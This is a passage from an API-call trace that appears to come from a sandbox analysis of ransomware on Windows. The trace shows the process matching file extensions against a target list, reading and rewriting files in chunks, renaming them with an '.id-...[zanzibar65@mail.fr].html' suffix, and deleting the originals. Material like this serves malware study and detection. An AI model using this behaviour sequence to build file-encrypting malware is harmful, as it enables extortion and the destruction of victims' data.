(lpString1=".7z", lpString2="DLL") returned -1 [0059.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0059.559] lstrlenW (lpString=".dbf") returned 4 [0059.559] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0059.559] lstrlenW (lpString=".1cd") returned 4 [0059.559] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0059.559] lstrlenW (lpString=".jpg") returned 4 [0059.559] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0059.559] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0059.559] lstrlenW (lpString=".doc") returned 4 [0059.559] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.559] lstrlenW (lpString=".docx") returned 5 [0059.559] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0059.559] lstrlenW (lpString=".pdf") returned 4 [0059.559] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.559] lstrlenW (lpString=".xls") returned 4 [0059.559] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.559] lstrlenW (lpString=".xlsx") returned 5 [0059.560] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0059.560] lstrlenW (lpString=".ppt") returned 4 [0059.560] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0059.560] lstrlenW (lpString=".zip") returned 4 [0059.560] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.560] lstrlenW (lpString=".rar") returned 4 [0059.560] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.560] lstrlenW (lpString=".bz2") returned 4 [0059.560] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.560] lstrlenW (lpString=".7z") returned 3 [0059.560] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0059.560] lstrlenW (lpString=".dbf") returned 4 [0059.560] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0059.560] lstrlenW (lpString=".1cd") returned 4 [0059.560] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0059.560] lstrlenW (lpString=".jpg") returned 4 [0059.560] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.560] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0059.560] lstrlenW (lpString="ACECORE.DLL") returned 11 [0059.560] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0059.561] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3213192) returned 1 [0059.561] CloseHandle (hObject=0x21c) returned 1 [0059.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll")) returned 0x20 [0059.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0059.562] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0059.565] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0059.565] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc6c | out: lpNewFilePointer=0x0) returned 1 [0059.565] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0059.565] ReadFile (in: hFile=0x21c, lpBuffer=0x3930058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x3930058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0059.568] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x1057d8, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0059.568] ReadFile (in: hFile=0x21c, lpBuffer=0x3970058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x3970058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0059.577] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d7fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0059.577] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x2d0788, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0059.577] ReadFile (in: hFile=0x21c, lpBuffer=0x39b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x39b0058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0059.596] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.596] WriteFile (in: hFile=0x21c, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2d7fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0059.661] SetEndOfFile (hFile=0x21c) returned 1 [0059.822] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f4c2e0 [0059.839] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0059.839] WriteFile (in: hFile=0x21c, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.841] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x1057d8, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0059.841] WriteFile (in: hFile=0x21c, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.845] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x2d0788, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0059.845] WriteFile (in: hFile=0x21c, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.850] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f4c2e0 | out: hHeap=0x220000) returned 1 [0059.850] CloseHandle (hObject=0x21c) returned 1 [0059.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0059.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0059.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0059.851] lstrlenW (lpString=".doc") returned 4 [0059.851] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.851] lstrlenW (lpString=".docx") returned 5 [0059.851] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0059.851] lstrlenW (lpString=".pdf") returned 4 [0059.851] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.851] lstrlenW (lpString=".xls") returned 4 [0059.851] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.851] lstrlenW (lpString=".xlsx") returned 5 [0059.851] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0059.851] lstrlenW (lpString=".ppt") returned 4 [0059.851] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0059.851] lstrlenW (lpString=".zip") returned 4 [0059.851] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.851] lstrlenW (lpString=".rar") returned 4 [0059.851] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.851] lstrlenW (lpString=".bz2") returned 4 [0059.851] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.851] lstrlenW (lpString=".7z") returned 3 [0059.851] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0059.851] lstrlenW (lpString=".dbf") returned 4 [0059.851] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0059.851] lstrlenW (lpString=".1cd") returned 4 [0059.851] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0059.851] lstrlenW (lpString=".jpg") returned 4 [0059.852] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0059.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0059.852] lstrlenW (lpString=".doc") returned 4 [0059.852] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.852] lstrlenW (lpString=".docx") returned 5 [0059.852] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0059.852] lstrlenW (lpString=".pdf") returned 4 [0059.852] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.852] lstrlenW (lpString=".xls") returned 4 [0059.852] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.852] lstrlenW (lpString=".xlsx") returned 5 [0059.852] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0059.852] lstrlenW (lpString=".ppt") returned 4 [0059.852] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0059.852] lstrlenW (lpString=".zip") returned 4 [0059.852] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.852] lstrlenW (lpString=".rar") returned 4 [0059.852] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.852] lstrlenW (lpString=".bz2") returned 4 [0059.852] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.852] lstrlenW (lpString=".7z") returned 3 [0059.852] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0059.852] lstrlenW (lpString=".dbf") returned 4 [0059.852] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0059.852] lstrlenW (lpString=".1cd") returned 4 [0059.852] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0059.853] lstrlenW (lpString=".jpg") returned 4 [0059.853] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.853] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0059.853] lstrlenW (lpString="ACEES.DLL") returned 9 [0059.853] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0061.144] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=1012648) returned 1 [0061.145] CloseHandle (hObject=0x21c) returned 1 [0061.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll")) returned 0x20 [0061.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.151] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0061.158] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.158] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.173] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 13 os_tid = 0x974 [0032.747] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10000) returned 0x3840260 [0032.747] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10000) returned 0x3850268 [0032.747] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x270338 [0032.747] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x6) returned 0x2730b8 [0032.747] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x270350 [0032.747] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x100000) returned 0x3a40020 [0032.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x270368 [0032.748] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x270368, Size=0x20) returned 0x255cf8 [0032.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x270368 [0032.748] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x270368, Size=0x20) returned 0x255cd0 [0032.748] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0032.748] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0032.748] Wow64DisableWow64FsRedirection (in: OldValue=0x2ebff58 | out: OldValue=0x2ebff58*=0x0) returned 1 [0032.748] lstrlenW (lpString="kernel32.dll") returned 12 [0032.748] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255cf8 | out: hHeap=0x220000) returned 1 [0032.748] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0032.748] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255cd0 | out: hHeap=0x220000) returned 1 [0032.748] Sleep (dwMilliseconds=0x64) [0032.931] Sleep (dwMilliseconds=0x64) [0033.171] Sleep (dwMilliseconds=0x64) [0033.748] Sleep (dwMilliseconds=0x64) [0033.929] Sleep (dwMilliseconds=0x64) [0034.256] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.256] lstrlenW (lpString="WordMUI.xml") returned 11 [0034.264] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0034.275] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1800) returned 1 [0034.275] CloseHandle (hObject=0x198) returned 1 [0034.275] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 0x2020 [0034.275] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.275] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0034.275] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.275] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.275] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0034.276] GetLastError () returned 0x0 [0034.276] ReadFile (in: hFile=0x198, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x708, lpOverlapped=0x0) returned 1 [0034.289] WriteFile (in: hFile=0x19c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x710, lpOverlapped=0x0) returned 1 [0034.290] ReadFile (in: hFile=0x198, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0034.290] WriteFile (in: hFile=0x19c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xea, lpOverlapped=0x0) returned 1 [0034.290] SetEndOfFile (hFile=0x19c) returned 1 [0034.290] CloseHandle (hObject=0x19c) returned 1 [0034.290] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.290] SetEndOfFile (hFile=0x198) returned 1 [0034.291] CloseHandle (hObject=0x198) returned 1 [0034.291] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0034.292] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 1 [0034.292] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.292] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.292] lstrlenW (lpString=".doc") returned 4 [0034.292] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.292] lstrlenW (lpString=".docx") returned 5 [0034.292] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.292] lstrlenW (lpString=".pdf") returned 4 [0034.292] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.292] lstrlenW (lpString=".xls") returned 4 [0034.292] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.292] lstrlenW (lpString=".xlsx") returned 5 [0034.292] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.292] lstrlenW (lpString=".ppt") returned 4 [0034.292] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.292] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.292] lstrlenW (lpString=".zip") returned 4 [0034.292] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.292] lstrlenW (lpString=".rar") returned 4 [0034.292] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.292] lstrlenW (lpString=".bz2") returned 4 [0034.292] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.292] lstrlenW (lpString=".7z") returned 3 [0034.292] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.292] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.292] lstrlenW (lpString=".dbf") returned 4 [0034.293] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.293] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.293] lstrlenW (lpString=".1cd") returned 4 [0034.293] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.293] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.293] lstrlenW (lpString=".jpg") returned 4 [0034.293] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.293] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.293] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.293] lstrlenW (lpString=".doc") returned 4 [0034.293] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.293] lstrlenW (lpString=".docx") returned 5 [0034.293] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.293] lstrlenW (lpString=".pdf") returned 4 [0034.293] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.293] lstrlenW (lpString=".xls") returned 4 [0034.293] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.293] lstrlenW (lpString=".xlsx") returned 5 [0034.293] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.293] lstrlenW (lpString=".ppt") returned 4 [0034.293] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.293] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.293] lstrlenW (lpString=".zip") returned 4 [0034.293] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.293] lstrlenW (lpString=".rar") returned 4 [0034.293] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.293] lstrlenW (lpString=".bz2") returned 4 [0034.293] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.293] lstrlenW (lpString=".7z") returned 3 [0034.293] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.293] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.293] lstrlenW (lpString=".dbf") returned 4 [0034.293] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.293] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.294] lstrlenW (lpString=".1cd") returned 4 [0034.294] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.294] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.294] lstrlenW (lpString=".jpg") returned 4 [0034.294] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.294] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.294] 